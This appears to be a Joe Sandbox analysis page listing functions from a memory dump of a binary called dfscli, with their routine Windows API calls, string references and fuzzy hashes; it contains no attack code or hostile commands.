Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$`#vp,$v$mscoree.dll
API String ID: 75539706-2710989135
Opcode ID: fd8063930fbf66e5889c8e5221376f06f177b086132e45f551b3fdf05346e537
Instruction ID: 941fb14b8e6e74046c3674dea832eee8b0a2cfa7b7099c50836eeb20d6140e2c
Opcode Fuzzy Hash: fd8063930fbf66e5889c8e5221376f06f177b086132e45f551b3fdf05346e537
Instruction Fuzzy Hash: 0FD0C730705301BFD7106B63DC0DF1A3A58AE44B05B485D357446D01B0CF74C851E52D

Function 0040C22B Relevance: 9.4, APIs: 6, Instructions: 384COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040C230
VariantClear.OLEAUT32(?), ref: 0040C292
VariantClear.OLEAUT32(00000007), ref: 0040C5C0
VariantClear.OLEAUT32(?), ref: 0040C735

Part of subcall function 0040D77F: VariantCopy.OLEAUT32(?,?), ref: 0040D787

Part of subcall function 00408A64: SystemTimeToVariantTime.OLEAUT32(?), ref: 00408AB2

VariantClear.OLEAUT32(?), ref: 0040C715

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Variant$Clear$Time$CopyH_prologSystem
String ID:
API String ID: 2075586698-0
Opcode ID: 1364f7f1f86d658b4d6e8cd494515ac68c753655f9690c10ced3c2c88684c333
Instruction ID: 6ab10ce611a99a1f8f361261b98790ac6c7d0aa24a7c23b9a0ac30f561102aa8
Opcode Fuzzy Hash: 1364f7f1f86d658b4d6e8cd494515ac68c753655f9690c10ced3c2c88684c333
Instruction Fuzzy Hash: BCE12B7580011CEACF15EB94C991AFEBB79BF18304F0441ABF845B32D1EB385A49DB69

Function 004155CE Relevance: 9.1, APIs: 6, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004322C4,00000001,?,004322F0,0000001C,0040FB4A,00000001,00000020,00000100,?,00000000), ref: 004155F2
GetLastError.KERNEL32 ref: 00415604
MultiByteToWideChar.KERNEL32(?,00000000,00000000,0040FE1B,00000000,00000000,004322F0,0000001C,0040FB4A,00000001,00000020,00000100,?,00000000), ref: 00415666
MultiByteToWideChar.KERNEL32(?,00000001,00000000,0040FE1B,?,00000000), ref: 004156E4
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,00000000), ref: 004156F6

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ByteCharMultiStringTypeWide$ErrorLast
String ID:
API String ID: 3581945363-0
Opcode ID: 1d6e66a6560f70aff42be1d47028f91ef8b4c7634ef11d4c805a64f0cb85e88e
Instruction ID: a1f57d75a495807adbd5f9f81b07e7c36f1fa25e7f2b40525a61db36998abfa5
Opcode Fuzzy Hash: 1d6e66a6560f70aff42be1d47028f91ef8b4c7634ef11d4c805a64f0cb85e88e
Instruction Fuzzy Hash: CC41E231900A15EBCF219F51DC46EEF7B75FF88760F14052AF814A6290D7388991DBE8

Function 0040C753 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040C758
VariantClear.OLEAUT32(?), ref: 0040C80A
SysFreeString.OLEAUT32(00000000), ref: 0040C88B
SysFreeString.OLEAUT32(00000000), ref: 0040C89A
SysFreeString.OLEAUT32(00000000), ref: 0040C8A9
VariantClear.OLEAUT32(00000000), ref: 0040C8BE

Part of subcall function 0040C22B: __EH_prolog.LIBCMT ref: 0040C230
Part of subcall function 0040C22B: VariantClear.OLEAUT32(?), ref: 0040C292

Part of subcall function 0040D77F: VariantCopy.OLEAUT32(?,?), ref: 0040D787

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Variant$ClearFreeString$H_prolog$Copy
String ID:
API String ID: 3098219910-0
Opcode ID: 979a942dbc2bf8fde55d4df949cd0def5ce3ee024a13b008bae821c373d48dc3
Instruction ID: 36662450c5e1947f06e528152222194ba2e0adfdc782b58db195a1114ff86cd1
Opcode Fuzzy Hash: 979a942dbc2bf8fde55d4df949cd0def5ce3ee024a13b008bae821c373d48dc3
Instruction Fuzzy Hash: 33512AB1A00209DFDB24DFA4C884BEEB7B8FF44305F10462EE516E7291D778A945CB68

Function 00426ED9 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 00426F0B
GetParent.USER32(?), ref: 00426F19
GetParent.USER32(?), ref: 00426F2C
GetLastActivePopup.USER32(?), ref: 00426F3B
IsWindowEnabled.USER32(?), ref: 00426F50
EnableWindow.USER32(?,00000000), ref: 00426F63

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: e6b9fbe2978fe384cc6369b478063f7d970489e6a0ea732f4327e87d7b57f048
Instruction ID: 07f23732e05c0ddae676fdba191ad6f2f3c3259ccd052a946048ec3c933e7ffc
Opcode Fuzzy Hash: e6b9fbe2978fe384cc6369b478063f7d970489e6a0ea732f4327e87d7b57f048
Instruction Fuzzy Hash: 0411063230823157CE316A5A7E40B2BB29C5F68B50FC7002BED10D3304EB28CC0246DD

Function 004266BB Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 004266CA
GetDlgCtrlID.USER32(00000000), ref: 004266DE
GetWindowLongA.USER32(00000000,000000F0), ref: 004266EC
GetWindowRect.USER32(00000000,?), ref: 004266FE
PtInRect.USER32(?,?,?), ref: 0042670E
GetWindow.USER32(?,00000005), ref: 0042671B

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 59508210cca9db84bfe781cdbc9e2c47ff541434b0194dd008954dc1c14c9765
Instruction ID: 83608b20ab5d7acfc5f4007f6359faa5a2816e21795921f9c93a6bd5c83018c8
Opcode Fuzzy Hash: 59508210cca9db84bfe781cdbc9e2c47ff541434b0194dd008954dc1c14c9765
Instruction Fuzzy Hash: 2F018F35300125ABDB21AF56AC08EAF3B68AF44751F810026F91193190DB34D9028BA8

Function 00415BE4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

B, xrefs: 00415CDA

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-2386870291
Opcode ID: 02d30d9259a4a2bad5bd7c57acdfbd4e8b1d24c0360f644a24d44c51bf277f00
Instruction ID: e63f41d058283e0c0eb0ae7a93c28366d44745800656fe3e600f804c74b5ca7e
Opcode Fuzzy Hash: 02d30d9259a4a2bad5bd7c57acdfbd4e8b1d24c0360f644a24d44c51bf277f00
Instruction Fuzzy Hash: E2312971904701EADB249F36AD45BDB37A4DF95314F24447BF909E2282FB7C8981839D

Function 00421EC1 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 00421F77
GetWindowLongA.USER32(?,000000FC), ref: 00421F89
GetWindowLongA.USER32(?,000000FC), ref: 00421F9A
SetWindowLongA.USER32(?,000000FC,?), ref: 00421FB6

Strings

(, xrefs: 00421F6D

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: db8b89a14fc87ba1fce35da2007820129314c722bc1527cb392caf885202c5e2
Instruction ID: 4f815d2d5e0452abf6b21b186733e73ea544739a7e03d6a9e74580ef656ef9a0
Opcode Fuzzy Hash: db8b89a14fc87ba1fce35da2007820129314c722bc1527cb392caf885202c5e2
Instruction Fuzzy Hash: 063105353003249FCB20AF6AE984A6FB7B4BF14314F95052EF552977A1DB39E805CB98

Function 0041FF75 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 0041FFB6
GetDlgItem.USER32(?,00000002), ref: 0041FFD5
IsWindowEnabled.USER32(00000000), ref: 0041FFE0
SendMessageA.USER32(?,00000111,00000002,00000000), ref: 0041FFF6

Strings

Edit, xrefs: 0041FFC0

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$EnabledItemLongMessageSend
String ID: Edit
API String ID: 3499652902-554135844
Opcode ID: b63e96ee084e1519c21dae61d460767de6b5ab3118784dc55616f40cff51c415
Instruction ID: 3fda86f08f798bfc712dbe9114479d5ed61c9c1c5043182bfc70c8b50dcb543f
Opcode Fuzzy Hash: b63e96ee084e1519c21dae61d460767de6b5ab3118784dc55616f40cff51c415
Instruction Fuzzy Hash: EF01C830300221AAFA302A26BC05B9BB7966F11759F94443BF402D12A2CBE9DCC6C55C

Function 00416AB0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 29libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00432A70,00000010,004107C0,00000000,00000FA0,76230A60,00000000,00411F62,0040E8F2,?,00431A70,00000060), ref: 00416AD3
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 00416AE3

Strings

kernel32.dll, xrefs: 00416ACE
InitializeCriticalSectionAndSpinCount, xrefs: 00416ADD
`#vp,$v, xrefs: 00416AD3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitializeCriticalSectionAndSpinCount$`#vp,$v$kernel32.dll
API String ID: 1646373207-1530109648
Opcode ID: 555e332292ca30733b42562bae4a1dc6fe38cd6b3bc813339523b37f08c96110
Instruction ID: ce44358daea0c9ea577a3d839c8de632687c57e94c437d53c63a589a871009e4
Opcode Fuzzy Hash: 555e332292ca30733b42562bae4a1dc6fe38cd6b3bc813339523b37f08c96110
Instruction Fuzzy Hash: 86F05430740302EFDB28AFA5DD05B8E36A4AF45394F64D17BA412E26A0D7BCD9849A1D

Function 004169F6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00410526), ref: 004169FB
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00416A0B

Strings

KERNEL32, xrefs: 004169F6
IsProcessorFeaturePresent, xrefs: 00416A05
`#vp,$v, xrefs: 004169FB

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32$`#vp,$v
API String ID: 1646373207-3967587774
Opcode ID: 930357ea9b2b054f3e33310345d67954e3ef867d834dfbee0a7fbed3febea94e
Instruction ID: f7e75c8983afe75b452e8c5a0e3795a3a9e97458d4fb11f8d1bffce13407fbee
Opcode Fuzzy Hash: 930357ea9b2b054f3e33310345d67954e3ef867d834dfbee0a7fbed3febea94e
Instruction Fuzzy Hash: BCC01270350300AAE9606B622D19F56218C6F18B83F1904667503F01A0CB68C081653D

Function 0042B2F3 Relevance: 7.7, APIs: 5, Instructions: 236stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042B2F8
lstrlenA.KERNEL32(?,?,00000000), ref: 0042B323
VariantClear.OLEAUT32(0000000C), ref: 0042B47F

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ClearH_prologVariantlstrlen
String ID:
API String ID: 2416264355-0
Opcode ID: b89cfb44284379472a5c7ef7bc3bacdfcdfa9a3b5cd4a3f6bd749639aea81153
Instruction ID: 2154954aee45bc9f37d5e476858aa3f54607d5b4520b193f721ce322dcdb1a24
Opcode Fuzzy Hash: b89cfb44284379472a5c7ef7bc3bacdfcdfa9a3b5cd4a3f6bd749639aea81153
Instruction Fuzzy Hash: 9381D471A01629EBCF10DF55E881AAEBBB0FF05358F90851AF854AB251C738D991CBD8

Function 004121F8 Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,0040E699,?), ref: 004122AB
InterlockedExchange.KERNEL32(0043F6C8,00000001), ref: 00412329
InterlockedExchange.KERNEL32(0043F6C8,00000000), ref: 0041238E
InterlockedExchange.KERNEL32(0043F6C8,00000001), ref: 004123B2
InterlockedExchange.KERNEL32(0043F6C8,00000000), ref: 00412412

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ExchangeInterlocked$QueryVirtual
String ID:
API String ID: 2947987494-0
Opcode ID: 6a17d818e742434f057d2ba6d72ccd2d10828a07a170a6c333869a08031e37f3
Instruction ID: d666452b32fb370f5039d9c4d9c953f1fa938a618f22207ba933b66a0757dcd5
Opcode Fuzzy Hash: 6a17d818e742434f057d2ba6d72ccd2d10828a07a170a6c333869a08031e37f3
Instruction Fuzzy Hash: 8F511530A006158FCB288F28DB817EA73A5BB49314F64957BD851C72A1E3FCDCE2864D

Function 00412B89 Relevance: 7.7, APIs: 5, Instructions: 172COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00412BE6
GetFileType.KERNEL32(?), ref: 00412C90
GetStdHandle.KERNEL32(-000000F6), ref: 00412D11

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: FileHandleInfoStartupType
String ID:
API String ID: 2461013171-0
Opcode ID: a41e6a2bdbcd81d841d3acfd68b2595e2d0e9f73fc32f30227e20274102ae087
Instruction ID: d278a9e66e7a289658028d0007e01ec58958c44d3a53fc808e972aab8f93b423
Opcode Fuzzy Hash: a41e6a2bdbcd81d841d3acfd68b2595e2d0e9f73fc32f30227e20274102ae087
Instruction Fuzzy Hash: 6A512A702047418FD7208F68DD847A677E4FB12328F24863ED696CB2E1E7B8D4A6C749

Function 0040F2EB Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a9960bd93fec852de473eb3548affb155960367c54875f566ccfefcf4308e7d
Instruction ID: cd14ed6faf968c26f5ad3f682f5955487037b3cb07160dd73ebcc5381cbba43c
Opcode Fuzzy Hash: 4a9960bd93fec852de473eb3548affb155960367c54875f566ccfefcf4308e7d
Instruction Fuzzy Hash: 3341F3B1D00225AACF30BFA69C848AFBA74EB55728710453FFD15B66D1D33C4D898A9C

Function 00404812 Relevance: 7.6, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 0040483B
LoadResource.KERNEL32(?,00000000), ref: 00404847
LockResource.KERNEL32(00000000), ref: 0040485C
FreeResource.KERNEL32(00000000), ref: 0040488F
GetDlgItem.USER32(?,00000000), ref: 00404939

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Resource$FindFreeItemLoadLock
String ID:
API String ID: 996205394-0
Opcode ID: 4237aaeb46cccb602a0984120901f33fbc0742d29dd2597d22a60c95cf2cdb97
Instruction ID: 6aec8b371c9fab22d9bb11c82ff679e6f8f2bf4797d8e8c33563a997009e8f8d
Opcode Fuzzy Hash: 4237aaeb46cccb602a0984120901f33fbc0742d29dd2597d22a60c95cf2cdb97
Instruction Fuzzy Hash: DF514EB5A00209EFCB14DF66C484AAEBBB5FF84314F14847AE916AB391D738E941CF54

Function 004070AF Relevance: 7.6, APIs: 5, Instructions: 126windowthreadCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004070B4
SendMessageA.USER32(?,00000138,?,?), ref: 00407138
GetBkColor.GDI32(?), ref: 00407141
GetTextColor.GDI32(?), ref: 0040714D
GetThreadLocale.KERNEL32(0000F1C0), ref: 004071DF

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Color$H_prologLocaleMessageSendTextThread
String ID:
API String ID: 741590120-0
Opcode ID: 690d7af245a93de95a2d746acce73e69c4852c2c64f9a7fa874139ff42539c16
Instruction ID: 20cee96fae53f77c6612ec2f8febb233d27f76521b7ee9c4483379ac0ab0fb9c
Opcode Fuzzy Hash: 690d7af245a93de95a2d746acce73e69c4852c2c64f9a7fa874139ff42539c16
Instruction Fuzzy Hash: 7C518E30904306DFCB10EF65C8445AAB7B0FF44314B10896EF856AB3A1E778B955CB6A

Function 00426F77 Relevance: 7.6, APIs: 5, Instructions: 102windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00426ED9: GetParent.USER32(?), ref: 00426F2C
Part of subcall function 00426ED9: GetLastActivePopup.USER32(?), ref: 00426F3B
Part of subcall function 00426ED9: IsWindowEnabled.USER32(?), ref: 00426F50
Part of subcall function 00426ED9: EnableWindow.USER32(?,00000000), ref: 00426F63

EnableWindow.USER32(?,00000001), ref: 00426FB7
SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00426FCB
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 00427041
MessageBoxA.USER32(?,?,?,000000F0), ref: 00427065
EnableWindow.USER32(?,00000001), ref: 00427081

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$Enable$Message$ActiveEnabledFileLastModuleNameParentPopupSend
String ID:
API String ID: 489645344-0
Opcode ID: 42c07a88efa4cedc6cfd4f5157a7262d5df472f227f5db3fb4d65e13e20a45ba
Instruction ID: 94a83bf1e9e898c293309cd3d0189100989e43beb641fad24fa4ba7b3a2eaaf4
Opcode Fuzzy Hash: 42c07a88efa4cedc6cfd4f5157a7262d5df472f227f5db3fb4d65e13e20a45ba
Instruction Fuzzy Hash: 4531E531B043689FEF309FA5ED80B9EB7B4AF05700F55002EEA05AB281DBB99D058B55

